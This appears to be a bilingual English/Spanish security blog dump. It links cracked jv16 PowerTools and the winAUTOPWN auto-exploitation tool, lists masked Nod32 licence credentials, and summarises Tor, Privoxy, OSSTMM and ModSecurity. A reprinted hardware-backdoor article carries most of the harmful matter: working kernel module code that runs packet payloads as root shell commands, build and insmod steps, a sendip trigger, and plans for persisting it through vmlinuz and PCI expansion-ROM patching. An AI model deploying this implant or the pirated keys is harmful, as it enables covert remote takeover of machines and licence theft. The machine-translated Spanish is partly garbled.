jv16 PowerTools 2011 - New and improved...jv16 PowerTools 2011 - Nuevo y mejorado


Is the latest Windows optimization
TuneUp Utilities suite. The conclusion is that keeps your computer running fast and smoothly greatly improves its overall stability.

jv16 PowerTools 2011 is here and it's sweet! It's the best way to keep your computer running smooth, faster and more stable than ever.
Key Features

* Clean and repair equipment
* Uninstall the software and get rid of all leftovers
* Optimize Windows
* Improved security by detecting potentially dangerous files
* Improve your privacy
* Recovers deleted files
* Safe to use - automatic backup and many additional security features
* Multilingual User Interface
* More Ultimate Software License

Download: http://hotfile.com/dl/111203287/50668b9/jv16-2011.zip.html

.........................................................................................................
Es el último y optimización de Windows
TuneUp suite de utilidades. La conclusión es que mantiene su equipo funcionando sin problemas rápida y mejora en gran medida su estabilidad general.

jv16 PowerTools 2011 es aquí y es dulce! Es la mejor manera de mantener su equipo funcionando sin problemas, rápido y más estable que nunca.
Características principales

* Limpia y repara el equipo
* Desinstala el software y se deshace de todas las sobras
* Optimiza Windows
* Mejora la seguridad mediante la detección de archivos potencialmente peligrosos
* Mejora tu privacidad
* Recupera archivos borrados
* Seguro de usar - función automática de copia de seguridad y numerosas características de seguridad adicionales
* Interfaz de usuario multilingüe
* Mas Licencia Definitiva del software

Descarga :
 http://hotfile.com/dl/111203287/50668b9/jv16-2011.zip.html

winAUTOPWN - Attacks automatic Windows environments...winAUTOPWN - Ataques automática entornos Windows


winAUTOPWN is a tool that automates attacks on Windows, simply and with a single click.
Its operation is straightforward, first scans from port 1 to 65535 in search of active services in the system, should a service searches its database for any exploit that service and try to exploit it and if the attack succeeds, gives us a system shell.

Besides the above, this tool offers the following features:

* Port scanning is multi-thread (with the increase in speed that this represents)
* No banner is based on the cast for the service (to avoid being fooled by this)
* Includes binary exploits a lot of vulnerabilities.

WARNING winAUTOPWN includes compiled exploits that can be detected by your antivirus software as malware or virus, but it is the same naturalization application.

Page Oficial
winAUTOPWN

Downloads http://120.61.143.42/w/download.htm






WARNING winAUTOPWN includes compiled exploits that can be detected by your antivirus software as malware or viruses, but it is the nature of the application, USE IT AT YOUR OWN RISK

.........................................

winAUTOPWN es una herramienta que automatiza los ataques a Windows, simplemente y con un solo clic.
Su funcionamiento es sencillo análisis, en primer lugar de la conexión 1 a 65535 en la búsqueda de los servicios activos en el sistema, en caso de un servicio de búsquedas en su base de datos para cualquier explotación de ese servicio y tratar de explotar y si el ataque tiene éxito, nos da una shell del sistema.

Además de lo anterior, esta herramienta ofrece las siguientes características:

* Escaneo de puertos es multi-hilo (con el aumento de la velocidad que esto representa)
* No hay bandera se basa en el modelo para el servicio (para evitar ser engañado por esto)
* Incluye explota binario una gran cantidad de vulnerabilidades.

WinAUTOPWN ADVERTENCIA incluye hazañas compilado que puede ser detectado por el software antivirus como malware o virus, pero es la misma solicitud de naturalización.

ADVERTENCIA, winAUTOPWN incluye exploits compilados que pueden ser detectados por tu software antivirus como malware o virus, pero es por la naturaleza misma de la aplicación; USALA BAJO TU PROPIA RESPONSABILIDAD

Pagina Oficial

winAUTOPWN


Descargas http://120.61.143.42/w/download.htm

Privoxy


Privoxy is a non-caching web proxy with advanced filtering capabilities for enhancing privacy, modifying web page data and HTTP headers, controlling access, and removing ads and other obnoxious Internet junk. Privoxy has a flexible configuration and can be customized to suit individual needs and tastes. It has application for both stand-alone systems and multi-user networks.
Is Free Software and licensed under the GNU GPLv2.

http://www.privoxy.org/

...........................................
Privoxy es un proxy web que no es el almacenamiento en caché con capacidades avanzadas de filtrado para mejorar la privacidad, la modificación de los datos de páginas web y las cabeceras HTTP, el control de acceso, y la eliminación de los anuncios y otra basura de Internet desagradable. Privoxy tiene una configuración flexible y puede ser personalizado para adaptarse a las necesidades y gustos individuales. Esto tiene aplicación tanto para sistemas autónomos y redes multi-usuario.
Es un software libre y bajo la licencia GNU GPLv2.

http://www.privoxy.org/

What is Tor?...Que es Tor?

How does traffic analysis work?

Internet data packets have two parts: a data payload and a header used for routing. The data payload is whatever is being sent, whether that's an email message, a web page, or an audio file. Even if you encrypt the data payload of your communications, traffic analysis still reveals a great deal about what you're doing and, possibly, what you're saying. That's because it focuses on the header, which discloses source, destination, size, timing, and so on.
A basic problem for the privacy minded is that the recipient of your communications can see that you sent it by looking at headers. So can authorized intermediaries like Internet service providers, and sometimes unauthorized intermediaries as well. A very simple form of traffic analysis might involve sitting somewhere between sender and recipient on the network, looking at headers.
But there are also more powerful kinds of traffic analysis. Some attackers spy on multiple parts of the Internet and use sophisticated statistical techniques to track the communications patterns of many different organizations and individuals. Encryption does not help against these attackers, since it only hides the content of Internet traffic, not the headers.
The solution: a distributed, anonymous network



Tor helps to reduce the risks of both simple and sophisticated traffic analysis by distributing your transactions over several places on the Internet, so no single point can link you to your destination. The idea is similar to using a twisty, hard-to-follow route in order to throw off somebody who is tailing you — and then periodically erasing your footprints. Instead of taking a direct route from source to destination, data packets on the Tor network take a random pathway through several relays that cover your tracks so no observer at any single point can tell where the data came from or where it's going.


To create a private network pathway with Tor, the user's software or client incrementally builds a circuit of encrypted connections through relays on the network. The circuit is extended one hop at a time, and each relay along the way knows only which relay gave it data and which relay it is giving data to. No individual relay ever knows the complete path that a data packet has taken. The client negotiates a separate set of encryption keys for each hop along the circuit to ensure that each hop can't trace these connections as they pass through.


Once a circuit has been established, many kinds of data can be exchanged and several different sorts of software applications can be deployed over the Tor network. Because each relay sees no more than one hop in the circuit, neither an eavesdropper nor a compromised relay can use traffic analysis to link the connection's source and destination. Tor only works for TCP streams and can be used by any application with SOCKS support.
For efficiency, the Tor software uses the same circuit for connections that happen within the same ten minutes or so. Later requests are given a new circuit, to keep people from linking your earlier actions to the new ones.



Hidden services

Tor also makes it possible for users to hide their locations while offering various kinds of services, such as web publishing or an instant messaging server. Using Tor "rendezvous points," other Tor users can connect to these hidden services, each without knowing the other's network identity. This hidden service functionality could allow Tor users to set up a website where people publish material without worrying about censorship. Nobody would be able to determine who was offering the site, and nobody who offered the site would know who was posting to it. Learn more about configuring hidden services and how the hidden service protocol works.

https://www.torproject.org/
Download.torproject

........................................................
¿Cómo funciona el análisis de tráfico?

paquetes de datos de Internet tienen dos partes: una capacidad de carga de datos y una cabecera usada para enrutar. La carga de datos es lo que se está enviando, ya sea un mensaje de correo electrónico, una página web o un archivo de audio. Incluso si usted cifrar los datos de tus comunicaciones, análisis de tráfico todavía revela mucho acerca de lo que estás haciendo y, posiblemente, de lo que estás diciendo. Eso es porque se centra en la cabecera, que revelan la fuente, el destino, tamaño, tiempo, y así sucesivamente.
Un problema básico para la privacidad es que el receptor de tus comunicaciones puede ver lo que envías mirando las cabeceras. Tanto si son intermediarios autorizados como los proveedores de servicios de Internet, incluso algunas veces intermediarios no autorizados. Una forma muy simple de análisis de tráfico podría consistir en colocarse en algún lugar entre el remitente y el destinatario de la red, mirando las cabeceras.
Pero también hay formas más potentes de análisis de tráfico. Algunos atacantes espían multiples partes de Internet y usan sofisticadas técnicas estadísticas para rastrear patrones de comunicación de muchas organizaciones e individuos. Encriptación no sirve de ayuda contra estos atacantes, ya que únicamente esconde el contenido del tráfico de Internet, pero no las cabeceras.
La solución: una red anónima distribuida


Tor ayuda a reducir los riesgos de análisis de tráfico tanto sencillo como sofisticado distribuyendo tus transacciones entre distintos lugares en Internet, así que no hay un solo punto puede conectarlo a su destino. La idea es similar a usar una sinuosa, difícil de seguir la ruta con el fin de despistar a alguien que está siguiéndote - y luego periódicamente borrar sus huellas. En lugar de tomar una ruta directa desde el origen al destino, los paquetes de datos en la red Tor toman un camino al azar a través de varios relés que cubren las pistas para ningún observador en un solo punto puede decir que los datos vinieron ni a dónde va.



Para crear una ruta de red privada con Tor, el software del usuario o cliente construye incrementalmente un circuito de conexiones encriptadas a través de enlaces en la red. El circuito se extiende un tramo a la vez, y cada repetidor a lo largo del camino conoce únicamente qué repetidor le proporciona los datos ya qué repetidor está dando datos. Ningun repetidor individual conoce nunca el recorrido completo que un paquete de datos ha tomado. El cliente negocia un conjunto distinto de claves de encriptación para cada tramo a lo largo del circuito para asegurar que cada tramo no puede rastrear estas conexiones a medida que pasan a través



Una vez que el circuito ha sido establecido, muchos tipos de datos pueden ser intercambiados y varios diferentes tipos de aplicaciones de software se puede implementar sobre la red Tor. Debido a que cada repetidor no ve más de un tramo en el circuito, ni un espía, ni un repetidor intervenido pueden usar análisis de tráfico para asociar el origen de la conexión y de destino. Tor sólo funciona con flujos TCP y puede ser utilizado por cualquier aplicación que soporte SOCKS.
Por eficiencia, el software de Tor utiliza el mismo circuito para las conexiones que se establecen en los mismos diez minutos más o menos. A las peticiones posteriores se les proporciona un circuito nuevo para evitar que alguien pueda asociar tus primeras acciones con los nuevos.



Ocultos los servicios

Tor también posibilita a los usuarios el ocultar su localización mientras ofrecen varias clases de servicios, tales como publicación web o un servidor de mensajería instantánea. Usar Tor "puntos de encuentro", otros usuarios de Tor pueden interconectarse a estos servicios ocultos sin conocer la identidad del otro de la red. Esta funcionalidad de servicio oculto permite a los usuarios de Tor configurar un sitio web donde la gente puede publicar material sin preocuparse por la censura. Nadie sería capaz de determinar quién ofrecía el sitio, y nadie que ofrece el sitio sabrá quién está publicando en el mismo. Obtenga más información acerca de cómo configurar servicios ocultos y cómo funciona el protocolo de servicio oculto.

https://www.torproject.org/
Download.torproject

Updates for Nod32 [2011]...Actualizaciones para Nod32 [2011]

EAV-39799374******xb3tf26545

EAV-39799376******h78uamf3tc

EAV-39799769******sak3ra7mcu

EAV-39799770******mrcrkbh5nb

EAV-39799352******vch4rk5mk6

EAV-39660294******m3ettpssd3

EAV-39660295******fh7jps5bpe

EAV-39660297******7vmunc5p6a

EAV-39660329******8u6mdr67m8

EAV-39660334******2ddk38rsec

EAV-39660335******ckkr23r26s

EAV-39660853******hp535btxah

EAV-39799353******rtaskme5vj

EAV-39799354******52hxkeebm2

EAV-39799355******f7r5j7ehce

EAV-39799366******mxks2v8mjp

EAV-39799368******cb36xf832k

EAV-39799370******j233sbjp3e

EAV-39799372******rm3vm6te3a

EAV-39660854******uuc744t62x

EAV-39660857******svseuh68fn

EAV-39214967******dxj5pe5n5t

EAV-39214968******r5sbp75uta

EAV-39214969******kkj3jaed6n

EAV-39214970******xss7j3eku5

EAV-39214150******db445fevtj

EAV-39194449******kn7kamtkeb

EAV-39194458******pjdbks4kb5

EAV-39194414******f63cmushs4

EAV-39602122******jrbfbuusb8

EAV-39602124******5khj5f7n4f

EAV-39602127******nerkx5hjtr

EAV-39602140******4hkp3f4uun

EAV-39602144******fukhp5naxc

EAV-39602155******hraetn8cau

EAV-39602519******chhrmb3pn2

EAV-39198523******uumbdn5p83

EAV-39198540******tspfbnxv38

EAV-39198557******srtn8mt5ue

EAV-39198574******k6nk2m2s23

EAV-39214154******bchavur2ba

EAV-39214925******5j66rhukkt

EAV-39443882******7bc7mdtcpa

EAV-39443884******d2c4f764r5

EAV-39214936******2st73752vf

EAV-39214939******d5s2pupdx6

EAV-39618487******cxrd4p7tt4

EAV-39618489******jmrbvjhjuv

EAV-39660884******r7t4xnjve4

EAV-39660885******5d48xej57h

EAV-39660887******a345saut7c

EAV-39198501******n5rm22bm3p

EAV-39194379******ps48xurmta

EAV-39618562******ttuev27vhm

EAV-39618572******cubb8ve55u

EAV-39618579******ssxktx45ct

EAV-39618581******2exfnscscn

EAV-39618583******dsxacf27ec

EAV-39618585******56dkb42ku8

EAV-39618587******btdh5ubav4

EAV-39618591******4cmescvup6

EAV-39619506******uakcspp3d7

EAV-39618485******6brhauu6s8

EAV-39602521******h7hnf6cept

EAV-39602525******e8xuajnh7j

EAV-39602529******tkxnv8av88

EAV-39602533******rkdupnk3pv

EAV-39601817******e4ctdbcact

EAV-39198583******8pcrehvh8t

EAV-39194426******njvjud35s6

EAV-39443878******es68xv8rv7

EAV-39194366******mvdbtb7jhr

EAV-38822781******ssx8xrf663

EAV-38822783******xev5skst7u

EAV-38822793******ffc25h33r5

EAV-38822796******3ck4v6cxhd

EAV-38822787******ufdck25xnk

EAV-38822739******48rbsehxda

EAV-39035399******esseejjruh

EAV-39035404******7b2c436cnk

EAV-39035356******jkkkeeau5v

EAV-39035357******d4dbafkddb

EAV-39035364******tx3kuh7dma

EAV-39035394******c4cbsbvxcx

EAV-39035406******vnep3k6r5f

EAV-39035352******mj6dm2xsk7

EAV-38715120******usce46kueb

EAV-38715125******esc4knh2ht

EAV-38715131******jfs77v6s3d

EAV-38715058******esucce6v48

EAV-38715064******3su3ux436r

EAV-38715118******6dv45kkfxf

EAV-38715132******vn3d7p62rt

EAV-38715139******uu88n34akr

EAV-38715148******heud5v22tk

EAV-38715151******4a5evhbuku

EAV-38715177******dpd82frrbn

EAV-38402748******d5ese7th47

EAV-38402751******6mmp5mf5tb

EAV-37991228******63ma2vcv2k

EAV-37991237******skaeesakad

EAV-37991244******rsfav58u4c

EAV-38416855******fxrxp5ua7s

EAV-38416858******3tx2hr76x4

EAV-39628180******6mtru6mxhf

EAV-39306694******vcnpn7x4h3

EAV-39294666******h4e2tedjsd

EAV-39304605******tbdpnd5rct

EAV-39628194******jppvxh7ajd

EAV-39627483******55nr5nd5up

EAV-39835527******3smacbcvxd

EAV-39836491******ekt86aexdp

EAV-39835520******ku22rarvpe

The future in Penetration Testing....El futuro de Pruebas de Penetración

The article was developed by John Sacco who is the
creator of Insect Research and Penetration Testing Tool
presented below.

It is an easy to use, with a professional approach and a
polished and user-friendly graphical interface.
In examining the exposed services and expose potential points
critical that an attacker could use to undermine the network
company, the tool allows to exploit these vulnerabilities to
prove their existence.

For each vulnerability exploits are updated as
constant and adding new (3 to 4) every week, which may be
facilitate and increase as more people will come and join the
project to improve the tool and write new exploits.

Uses two types of remote code execution: the type
offensive where you get total control of the victim and the system
counterpart harmless code execution where only try
prove the existence of the vulnerability and the success
the attack.

Official Site: http://www.insecurityresearch.com/
Download:http://www.insecurityresearch.com/?page_id=878

El artículo ha sido desarrollado por Juan Sacco quien es el
creador de Insect Research y de la herramienta de Penetration Testing
presentada a continuación.

Es una herramienta fácil de utilizar, con un enfoque profesional y una
interfaz gráfica pulida y amigable.
Decidimos crear una herramienta que cumpla estos requerimientos y luego tomamos la decisión de hacerla libre,

Al examinar los potenciales servicios expuestos y exponer los puntos
críticos que un atacante podría utilizar para vulnerar la red de la
empresa, la herramienta permite explotar estas vulnerabilidades para
probar su existencia.

Los exploits para cada vulnerabilidad son actualizados en forma
constante y agregando nuevos (3 a 4) cada semana, lo cual se podrá
facilitar e incrementar a medida que mas gente se acerque y sume al
proyecto para mejorar la herramienta y escribir nuevos exploits.

Utiliza dos tipos de ejecución de código remoto: el tipo
ofensivo donde se obtiene control total del sistema víctima y su
contra parte la ejecución de código inofensivo donde sólo se intenta
probar la existencia de la vulnerabilidad y el resultado satisfactorio
del ataque.


Sitio Oficial:http://www.insecurityresearch.com/
Descarga:http://www.insecurityresearch.com/?page_id=878


OSSTMM (Open Source Security Testing Methodology Manual) 3.0...OSSTMM (Open Source Pruebas de Seguridad Manual de Metodología) 3.0


Open Source Security Testing Methodology Manual (OSSTMM) is a peer-reviewed methodology for performing security tests and metrics. The OSSTMM test cases are divided into five channels (sections) which collectively test: information and data controls, personnel security awareness levels, fraud and social engineering control levels, computer and telecommunications networks, wireless devices, mobile devices, physical security access controls, security processes, and physical locations such as buildings, perimeters, and military bases.

The OSSTMM focuses on the technical details of exactly which items need to be tested, what to do before, during, and after a security test, and how to measure the results. New tests for international best practices, laws, regulations, and ethical concerns are regularly added and updated.

Downloads OSSTMM (Open Source Security Testing Methodology Manual) 3.0

..................................
Open Source Security Testing Metodología Manual (OSSTMM) es una metodología de revisión por pares para la realización de pruebas de seguridad y métricas. Los casos de prueba OSSTMM se dividen en cinco canales (secciones) que en conjunto la prueba: controla la información y los datos, los niveles de la conciencia personal de seguridad, el fraude y los niveles de control de ingeniería social, redes informáticas y de telecomunicaciones, dispositivos inalámbricos, dispositivos móviles, controles de acceso físicos de seguridad, la seguridad procesos, y las ubicaciones físicas, como edificios, perímetros, y bases militares.

El OSSTMM se centra en los detalles técnicos de exactamente los elementos que necesitan ser probados, lo que debe hacer antes, durante y después de un test de seguridad, y cómo medir los resultados. Las nuevas pruebas de las mejores prácticas internacionales, las leyes, reglamentos, y las preocupaciones éticas se agregan regularmente y actualizada.

Descarga :OSSTMM (Open Source Pruebas de Seguridad Manual de Metodología) 3.0

What Is ModSecurity?...¿Qué es ModSecurity?

Detecting Malice with ModSecurity and will be used as an alternative to the Advanced Topic of the Week blog posts. It is also an open source project that aims to make the web application firewall technology available to everyone. The the idea is to take the outstanding web application intrusion/fraud detection concepts introduced by Robert "Rsnake" Hansen in his book Detecting Malice and provide real-life implementation examples using ModSecurity. Rsnake has given me the green light to provide actual snippets of text/quotes directly from his book! The format will be that Rsnake will setup the underlying issues and methods to identify bad behavior and then I will present some practical implementations using ModSecurity.



In this installment of Detecting Malice with ModSecurity, we will discuss how to use Geolocation data.



Geolocation section from Detecting Malice



IP addresses aren’t quite like street addresses, but they’re sometimes close. There are a number of projects that correlate, with varying success, IP address information to geographic locations. Some very large retailers help these databases by tying in IP address information collected along with address information given by their users during registration. Others tie in ISP information and geographic information with the IP address – a far less precise method in practice. Yet others still use ping time and hops to get extremely accurate measurement estimates of physical location.



The following information is typically available in GeoIP databases:



 Country



 Region (for some countries)



 City



 Organization (typically from the WHOIS database)



 ISP



 Connection speed



 Domain name




Read More :
http://blog.modsecurity.org/2010/10/detecting-malice-with-modsecurity-geolocation-data.html

http://www.maxmind.com/app/geolitecity

http://www.maxmind.com/app/geoip_country

http://www.modsecurity.org/


.......................................
Detección de malicia con ModSecurity y será utilizado como una alternativa al tema de los puestos de avanzada de la Semana blog. También es un proyecto de código abierto que pretende hacer de la tecnología de firewall de aplicaciones web al alcance de todos. La idea es tomar la intrusión de aplicaciones web de alto nivel / conceptos de detección de fraude introducida por Roberto "Rsnake" Hansen en su libro La detección de malicia y proporcionar ejemplos reales de aplicación utilizando ModSecurity. Rsnake me ha dado la luz verde para ofrecer recortes reales de texto / cotizaciones directamente de su libro! El formato será el Rsnake configurará los problemas subyacentes y los métodos para identificar el mal comportamiento y, a continuación voy a presentar algunas aplicaciones prácticas utilizando ModSecurity.


En esta entrega de Detección de malicia con ModSecurity, vamos a discutir cómo usar los datos de geolocalización.



Ubicación geográfica de la sección de Detección de Malicia



Las direcciones IP no son exactamente como direcciones de calles, pero son a veces cerca. Hay una serie de proyectos que se relacionan, con mayor o menor éxito, la dirección IP de ubicaciones geográficas. Algunos minoristas muy grande ayudar a estas bases de datos mediante la vinculación de la información recogida a lo largo de la dirección IP con información de la dirección dada por los usuarios durante el registro. Otros empate en la información del ISP y la información geográfica con la dirección IP - un método mucho menos preciso en la práctica. Sin embargo, otros todavía el uso del tiempo de ping y el lúpulo para obtener estimaciones de medición extremadamente precisa de la ubicación física.



La siguiente información está típicamente disponible en bases de datos GeoIP:




País


 Región (para algunos países)




Ciudad


 Organización (normalmente a partir de la base de datos WHOIS)




ISP



Velocidad de conexión



nombre de dominio



http://blog.modsecurity.org/2010/10/detecting-malice-with-modsecurity-geolocation-data.html

http://www.maxmind.com/app/geolitecity

http://www.maxmind.com/app/geoip_country

http://www.modsecurity.org/

Hiding Backdoors In Hardware...Ocultación de puertas traseras en hardware

Of course, most real-world vulnerabilities are due to mistakes and not malice. An attacker can gain control of systems by exploiting bugs in popular operating systems much more easily than by distributing malicious hardware.
Remember Reflections on Trusting Trust, the classic paper describing how to hide a nearly undetectable backdoor inside the C compiler? Here's an interesting piece about how to hide a nearly undetectable backdoor inside hardware. The post describes how to install a backdoor in the expansion ROM of a PCI card, which during the boot process patches the BIOS to patch grub to patch the kernel to give the controller remote root access. Because the backdoor is actually housed in the hardware, even if the victim reinstalls the operating system from a CD, they won't clear out the backdoor. I wonder whether China, with its dominant position in the computer hardware assembly business, has already used this technique for espionage. This perhaps explains why the NASA has its own chip fabrication plant.

Modifying the kernel with a kernel module...

The easiest way to modify the behavior of our kernel is by loading a kernel module. Let’s start by writing a module that will allow us to remotely control a machine.

IP packets have a field called the protocol number, which is how systems distinguish between TCP and UDP and other protocols. We’re going to pick an unused protocol number, say, 163, and have our module listen for packets with that protocol number. When we receive one, we’ll execute its data payload in a shell running as root. This will give us complete remote control of the machine.

The Linux kernel has a global table inet_protos consisting of a struct net_protocol * for each protocol number. The important field for our purposes is handler, a pointer to a function which takes a single argument of type struct sk_buff *. Whenever the Linux kernel receives an IP packet, it looks up the entry in inet_protos corresponding to the protocol number of the packet, and if the entry is not NULL, it passes the packet to the handler function. The struct sk_buff type is quite complicated, but the only field we care about is the data field, which is a pointer to the beginning of the payload of the packet (everything after the IP header). We want to pass the payload as commands to a shell running with root privileges. We can create a user-mode process running as root using the call_usermodehelper function, so our handler looks like this:

int exec_packet(struct sk_buff *skb)
{
char *argv[4] = {"/bin/sh", "-c", skb->data, NULL};
char *envp[1] = {NULL};

call_usermodehelper("/bin/sh", argv, envp, UMH_NO_WAIT);

kfree_skb(skb);
return 0;
}

We also have to define a struct net_protocol which points to our packet handler, and register it when our module is loaded:

const struct net_protocol proto163_protocol = {
.handler = exec_packet,
.no_policy = 1,
.netns_ok = 1
};

int init_module(void)
{
return (inet_add_protocol(&proto163_protocol, 163) < 0); } Let’s build and load the module: rwbarton@target:~$ make make -C /lib/modules/2.6.32-24-generic/build M=/home/rwbarton modules make[1]: Entering directory `/usr/src/linux-headers-2.6.32-24-generic' CC [M] /home/rwbarton/exec163.o Building modules, stage 2. MODPOST 1 modules CC /home/rwbarton/exec163.mod.o LD [M] /home/rwbarton/exec163.ko make[1]: Leaving directory `/usr/src/linux-headers-2.6.32-24-generic' rwbarton@target:~$ sudo insmod exec163.ko Now we can use sendip (available in the sendip Ubuntu package) to construct and send a packet with protocol number 163 from a second machine (named control) to the target machine: rwbarton@control:~$ echo -ne 'touch /tmp/x\0' > payload
rwbarton@control:~$ sudo sendip -p ipv4 -is 0 -ip 163 -f payload $targetip

rwbarton@target:~$ ls -l /tmp/x
-rw-r--r-- 1 root root 0 2010-10-12 14:53 /tmp/x

Great! It worked. Note that we have to send a null-terminated string in the payload, because that’s what call_usermodehelper expects to find in argv and we didn’t add a terminator in exec_packet.
Modifying the on-disk kernel

In the previous section we used the module loader to make our changes to the running kernel. Our next goal is to make these changes by altering the kernel on the disk. This is basically an application of ordinary binary patching techniques, so we’re just going to give a high-level overview of what needs to be done.

The kernel lives in the /boot directory; on my test system, it’s called /boot/vmlinuz-2.6.32-24-generic. This file actually contains a compressed version of the kernel, along with the code which decompresses it and then jumps to the start. We’re going to modify this code to make a few changes to the decompressed image before executing it, which have the same effect as loading our kernel module did in the previous section.

When we used the kernel module loader to make our changes to the kernel, the module loader performed three important tasks for us:

1. it allocated kernel memory to store our kernel module, including both code (the exec_packet function) and data (proto163_protocol and the string constants in exec_packet) sections;
2. it performed relocations, so that, for example, exec_packet knows the addresses of the kernel functions it needs to call such as kfree_skb, as well as the addresses of its string constants;
3. it ran our init_module function.

We have to address each of these points in figuring out how to apply our changes without making use of the module loader.

The second and third points are relatively straightforward thanks to our simplifying assumption that we know the exact kernel version on the target system. We can look up the addresses of the kernel functions our module needs to call by hand, and define them as constants in our code. We can also easily patch the kernel’s startup function to install a pointer to our proto163_protocol in inet_protos[163], since we have an exact copy of its code.

The first point is a little tricky. Normally, we would call kmalloc to allocate some memory to store our module’s code and data, but we need to make our changes before the kernel has started running, so the memory allocator won’t be initialized yet. We could try to find some code to patch that runs late enough that it is safe to call kmalloc, but we’d still have to find somewhere to store that extra code.

What we’re going to do is cheat and find some data which isn’t used for anything terribly important, and overwrite it with our own data. In general, it’s hard to be sure what a given chunk of kernel image is used for; even a large chunk of zeros might be part of an important lookup table. However, we can be rather confident that any error messages in the kernel image are not used for anything besides being displayed to the user. We just need to find an error message which is long enough to provide space for our data, and obscure enough that it’s unlikely to ever be triggered. We’ll need well under 180 bytes for our data, so let’s look for strings in the kernel image which are at least that long:

rwbarton@target:~$ strings vmlinux | egrep '^.{180}' | less

One of the output lines is this one:

<4>Attempt to access file with crypto metadata only in the extended attribute region, but eCryptfs was mounted without xattr support enabled. eCryptfs will not treat this like an encrypted file.

This sounds pretty obscure to me, and a Google search doesn’t find any occurrences of this message which aren’t from the kernel source code. So, we’re going to just overwrite it with our data.

Having worked out what changes need to be applied to the decompressed kernel, we can modify the vmlinuz file so that it applies these changes after performing the decompression. Again, we need to find a place to store our added code, and conveniently enough, there are a bunch of strings used as error messages (in case decompression fails). We don’t expect the decompression to fail, because we didn’t modify the compressed image at all. So we’ll overwrite those error messages with code that applies our patches to the decompressed kernel, and modify the code in vmlinuz that decompresses the kernel to jump to our code after doing so. The changes amount to 5 bytes to write that jmp instruction, and about 200 bytes for the code and data that we use to patch the decompressed kernel.
Modifying the kernel during the boot process

Our end goal, however, is not to actually modify the on-disk kernel at all, but to create a piece of hardware which, if present in the target machine when it is booted, will cause our changes to be applied to the kernel. How can we accomplish that?

The PCI specification defines a “expansion ROM” mechanism whereby a PCI card can include a bit of code for the BIOS to execute during the boot procedure. This is intended to give the hardware a chance to initialize itself, but we can also use it for our own purposes. To figure out what code we need to include on our expansion ROM, we need to know a little more about the boot process.

When a machine boots up, the BIOS initializes the hardware, then loads the master boot record from the boot device, generally a hard drive. Disks are traditionally divided into conceptual units called sectors of 512 bytes each. The master boot record is the first sector on the drive. After loading the master boot record into memory, the BIOS jumps to the beginning of the record.

On my test system, the master boot record was installed by GRUB. It contains code to load the rest of the GRUB boot loader, which in turn loads the /boot/vmlinuz-2.6.32-24-generic image from the disk and executes it. GRUB contains a built-in driver which understands the ext4 filesystem layout. However, it relies on the BIOS to actually read data from the disk, in much the same way that a user-level program relies on an operating system to access the hardware. Roughly speaking, when GRUB wants to read some sectors off the disk, it loads the start sector, number of sectors to read, and target address into registers, and then invokes the int 0x13 instruction to raise an interrupt. The CPU has a table of interrupt descriptors, which specify for each interrupt number a function pointer to call when that interrupt is raised. During initialization, the BIOS sets up these function pointers so that, for example, the entry corresponding to interrupt 0x13 points to the BIOS code handling hard drive IO.

Our expansion ROM is run after the BIOS sets up these interrupt descriptors, but before the master boot record is read from the disk. So what we’ll do in the expansion ROM code is overwrite the entry for interrupt 0x13. This is actually a legitimate technique which we would use if we were writing an expansion ROM for some kind of exotic hard drive controller, which a generic BIOS wouldn’t know how to read, so that we could boot off of the exotic hard drive. In our case, though, what we’re going to make the int 0x13 handler do is to call the original interrupt handler, then check whether the data we read matches one of the sectors of /boot/vmlinuz-2.6.32-24-generic that we need to patch. The ext4 filesystem stores files aligned on sector boundaries, so we can easily determine whether we need to patch a sector that’s just been read by inspecting the first few bytes of the sector. Then we return from our custom int 0x13 handler. The code for this handler will be stored on our expansion ROM, and the entry point of our expansion ROM will set up the interrupt descriptor entry to point to it.

In summary, the boot process of the system with our PCI card inserted looks like this:

* The BIOS starts up and performs basic initialization, including setting up the interrupt descriptor table.
* The BIOS runs our expansion ROM code, which hooks the int 0x13 handler so that it will apply our patch to the vmlinuz file when it is read off the disk.
* The BIOS loads the master boot record installed by GRUB, and jumps to it. The master boot record loads the rest of GRUB.
* GRUB reads the vmlinuz file from the disk, but our custom int 0x13 handler applies our patches to the kernel before returning.
* GRUB jumps to the vmlinuz entry point, which decompresses the kernel image. Our modifications to vmlinuz cause it to overwrite a string constant with our exec_packet function and associated data, and also to overwrite the end of the startup code to install a pointer to this data in inet_protos[163].
* The startup code of the decompressed kernel runs and installs our handler in inet_protos[163].
* The kernel continues to boot normally.

We can now control the machine remotely over the Internet by sending it packets with protocol number 163.

One neat thing about this setup is that it’s not so easy to detect that anything unusual has happened. The running Linux system reads from the disk using its own drivers, not BIOS calls via the real-mode interrupt table, so inspecting the on-disk kernel image will correctly show that it is unmodified. For the same reason, if we use our remote control of the machine to install some malicious software which is then detected by the system administrator, the usual procedure of reinstalling the operating system and restoring data from backups will not remove our backdoor, since it is not stored on the disk at all.

What does all this mean in practice? Just like you should not run untrusted software, you should not install hardware provided by untrusted sources. Unless you work for something like a government intelligence agency, though, you shouldn’t realistically worry about installing commodity hardware from reputable vendors. After all, you’re already also trusting the manufacturer of your processor, RAM, etc., as well as your operating system and compiler providers. Of course, most real-world vulnerabilities are due to mistakes and not malice. An attacker can gain control of systems by exploiting bugs in popular operating systems much more easily than by distributing malicious hardware.

Reflections on Trusting Trust
Ken Thompson

Hiding Backdoors In Hardware
............................................................
Un atacante puede obtener el control de los sistemas mediante la explotación de fallos en los sistemas operativos mucho más fácilmente que mediante la distribución de hardware malicioso.
Recuerde Reflexiones sobre confiar en confianza, el papel clásico que describe cómo ocultar una puerta trasera casi imperceptible en el interior del compilador de C? He aquí un dato interesante acerca de cómo ocultar una puerta trasera casi imperceptible en el interior del hardware. El puesto se describe cómo instalar una puerta trasera en la ROM de expansión de una tarjeta PCI, que durante el proceso de arranque de los parches del BIOS a arrancar parche para parchear el kernel para dar el controlador de acceso remoto de root. Debido a que la puerta trasera se encuentra realmente en el hardware, incluso si la víctima vuelve a instalar el sistema operativo desde un CD, no se borrará por la puerta trasera. Me pregunto si China, con su posición dominante en el negocio de hardware de ensamblaje de computadores, ya ha utilizado esta técnica para el espionaje. Esto tal vez explica por qué la NASA tiene su propia planta de fabricación de chips.

Modificación del núcleo con un módulo del kernel

La forma más fácil de modificar el comportamiento de nuestro núcleo es mediante la carga de un módulo del kernel. Empecemos por escribir un módulo que nos permitirá controlar de forma remota una máquina.

